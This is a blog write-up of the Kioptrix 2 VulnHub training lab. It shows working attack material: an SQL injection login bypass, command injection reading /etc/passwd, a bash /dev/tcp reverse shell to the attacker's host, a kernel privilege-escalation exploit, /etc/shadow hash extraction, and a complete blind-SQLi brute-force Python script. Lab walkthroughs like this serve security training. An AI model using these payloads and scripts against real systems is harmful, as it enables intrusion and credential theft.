Kioptrix 2

Vulnhub Writeups

Posted by coastal on June 22, 2017

Introduction

So Kioptrix 2 is the second installment of the Kioptrix series of boot2root boxes on vulnhub. I couldn’t get the first box to run unfortunately. Maybe I’ll get back to it at some point.

Mapping

Let’s start off by finding the box on our local network

root@kali:~# netdiscover -i eth0

 Currently scanning: 172.16.236.0/16   |   Screen View: Unique Hosts           
                                                                               
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180               
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:00      1      60  Unknown vendor              
 192.168.56.100  08:00:27:d3:ad:d5      1      60  PCS Systemtechnik GmbH      
 192.168.56.101  08:00:27:dd:b9:b7      1      60  PCS Systemtechnik GmbH

So 192.168.56.1 is my laptop and 192.168.56.100 is the vbox router, so Kio is at 192.168.56.101. Let’s check out any external running services on the box.

root@kali:~# nmap -sV 192.168.56.101

Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-14 10:39 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.101
Host is up (0.00045s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind  2 (RPC #100000)
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp  open  ipp      CUPS 1.1
3306/tcp open  mysql    MySQL (unauthorized)
MAC Address: 08:00:27:DD:B9:B7 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.72 seconds

Alright alright. Looks like we have a webserver running on 80/443. Checking out the home page it looks like a login screen.

After trying a couple of default cred attempts, I decided to try some SQLi. Using Burp I intercepted a login attempt and sent it to intruder with the injection list at /usr/share/wordlists/wfuzz/Injections/SQL.txt. One of the hits appeared to be:

' or 0=0 #

We perform the injection and arrive at an administrator console.

Let’s see what happens when we try an address on the network

Alright, what about command injection? Looks like the straight output of a ping command

Nice. So I tried to throw a reverse shell, but it failed. Let’s do a little mapping through the injection to see what’s going on and maybe get some intel from the box.

ping 192.168.56.102; which nc
...[redacted ping info]...

Aha, so it looks like we don’t have netcat installed on this box. That’s okay, we have some other rev shell options.

ping 192.168.56.102; which cat

...[redacted ping info]...
/bin/cat

Alright we have cat. Let’s map some users

/bin/cat /etc/passwd 
192.168.56.102; /bin/cat /etc/passwd

PING 192.168.56.102 (192.168.56.102) 56(84) bytes of data.
From 192.168.56.101 icmp_seq=0 Destination Host Unreachable
From 192.168.56.101 icmp_seq=1 Destination Host Unreachable
From 192.168.56.101 icmp_seq=2 Destination Host Unreachable

--- 192.168.56.102 ping statistics ---
3 packets transmitted, 0 received, +3 errors, 100% packet loss, time 1999ms
, pipe 4
root:x:0:0:root:/root:/bin/bash
[...snip...]
john:x:500:500::/home/john:/bin/bash
harold:x:501:501::/home/harold:/bin/bash

Okay, so we have root, john, and harold users. Before I hop on the box, I wanted to see what kind of data I could grab from the SQLi. Our injection is blind, so I wrote up a script that is at the bottom of the post to check different queries from our injection (sidenote: I always forget MySQL string indexing is 1-based…). Here is some compiled exfil’d data from the injection.

coastals-MacBook-Pro:kio2 coastal$ python3 blind_sqli.py "user()"

[+] Bruted value of user(): john@localhost
[+] Bruted value of version(): 4.1.22
[+] Bruted value of database(): webapp
[+] Bruted value of uuid(): 00ed34e4e40?a824?10035?81ee?0080000273f72eb

Unfortunately, I couldn’t get any database schema information. It seems that either it was blocked from accession or I had an issue with my syntax that I couldn’t debug. It appeared that I couldn’t get any data from a nested select query which limited me to the stock fields and built-in functions. Anyways, we’ve figured out that john is running the webapp’s db, named webapp. Now that it seems we’ve exhausted that approach, let’s grab a shell and look around a little more.

192.168.56.102; /bin/bash -i >& /dev/tcp/192.168.56.102/4444 0>&1
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
192.168.56.101: inverse host lookup failed: Unknown host
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 32771
bash: no job control in this shell
bash-3.00$ whoami
apache
bash-3.00$

Alright we get an apache shell. After looking around for configuration files, enumerating services and suid files, and checking for default creds, it looked like we were going to have to go with a kernel privilege escalation exploit (as our kernel is super old). I tried two exploits, the ip_append_data() and sock_sendpage() exploits (links below).

ip_append_data() exploit

sock_sendpage() exploit

Both of the sources were grabbed with wget from a python -m SimpleHTTPServer 1337 hosted on the attacking box. I couldn’t get the ip_append_data() exploit to work, although looking at other writeups it seems like people were able to use that privesc. I’m not sure my C skills are good enough to debug the issue, but maybe I’ll take a crack at it in the future. Fortunately, the sock_sendpage() exploit worked for me.

bash-3.00$ gcc -Wall -o sendpage sendpage.c
bash-3.00$ ./sendpage

And we’ve pwn’d the box!

Post-mortem

Using the new root privileges, I grabbed /etc/shadow and exfil’d the data for hash-cracking. The idea being that once I have john’s creds I can login to mysql and grab everyone elses passwords from the database.

passwords.txt

john:x:500:500::/home/john:/bin/bash

shadow.txt

john:$1$wk7kHI5I$2kNTw6ncQQCecJ.5b8xTL1:14525:0:99999:7:::
unshadow passwords.txt shadow.txt > cracked.txt
john cracked.txt

I haven’t performed this yet, as my laptop is a little slow for hash-cracking but it can be left as an exercise to the reader ;)

-coastal

blind_sqli.py

import sys
import requests

chars = "abcdefghijklmnopqrstuvwxyz01234567890.()<>*^%$@!"
target = "192.168.56.101"
url = "http://192.168.56.101/index.php"
port = 80
fail_string = "Remote System"

def injection_assembler(injection):
	
	return url

def brute_force_field_value(field):
	result = ""
	length_of_field = get_field_length(field)
	for x in range(1, length_of_field + 1):
		print ("[*] Injecting for character in position {}".format(x))
		for char in chars:
			#print ("[*] Trying char {}".format(char))
			# ' or 1=1 && substring("test",1,1)=char(116) #
			injection = """' or 1=1 && substring({},{},1)=char({}) #""".format(field, x, ord(char))
			post_data = {
				"uname": injection,
				"psw": "test"
			}
			r = requests.request("POST", url=url, data=post_data)

			if injection_success(r):
				print ("\t[+] Found character {}: {}".format(x, char))
				result += char

	print ("[+] Bruted value of {}: {}".format(field, result))

def get_field_length(field):
	for x in range(0, 200):
		#' or 1=1 && char_length("test")=4 #
		injection = """' or 1=1 && char_length({})={} #""".format(field, x)
		post_data = {
			"uname": injection,
			"psw": "test"
		}
		r = requests.request("POST", url=url, data=post_data)
		if injection_success(r):
			print("[+] Length of field is {} characters".format(x))
			return x
	raise Exception("[-] Couldn't determine field length. Exiting.")

def injection_success(inj_response):
	if fail_string in inj_response.text:
		return False
	else:
		return True

def main():
	if len(sys.argv) > 1:
		field_to_brute = sys.argv[1]
		brute_force_field_value(field_to_brute)
	else:
		print("usage: python blind_sqli.py \"(field_to_brute)\"" \
			"\nexample:\tpython blind_sqli.py \"version()\"")

if __name__ == "__main__":
	main()